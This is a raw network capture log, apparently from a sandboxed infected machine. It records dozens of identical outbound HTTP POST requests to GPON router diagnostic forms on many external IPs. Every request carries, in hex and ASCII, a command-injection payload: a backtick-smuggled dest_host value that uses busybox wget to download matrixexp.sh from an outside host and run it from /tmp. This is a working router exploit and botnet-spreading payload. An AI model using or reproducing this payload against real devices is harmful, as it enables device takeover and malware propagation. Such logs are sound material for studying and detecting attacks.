Mar 2, 2024 12:36:51.845050097 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.23	34406	2.33.36.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845060110 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.23	50400	178.124.66.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845074892 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.23	43562	178.41.223.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845096111 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.23	54696	109.233.12.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845110893 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.23	36404	2.120.185.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845118046 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.23	39184	118.10.181.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845144987 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.23	39742	210.243.77.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845184088 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.23	58916	212.194.11.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845217943 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.23	60082	42.63.194.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845227957 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.23	34418	118.113.67.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845248938 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.23	45554	94.133.45.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845256090 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.23	36286	37.217.239.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845280886 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.23	49500	5.222.202.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845314026 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.23	48486	5.66.235.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845336914 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.23	57052	212.15.191.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845366955 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.23	38908	2.234.7.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845397949 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.23	47904	2.9.229.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845410109 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.23	51442	118.190.200.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845432043 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.23	51448	2.143.206.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845432997 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.23	35428	37.118.208.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845458984 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.23	48670	118.184.13.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845501900 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.23	57544	2.96.143.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845519066 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.23	56722	2.203.14.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845541000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.23	33614	2.213.204.100	443

Timestamp	Bytes transferred	Direction	Data
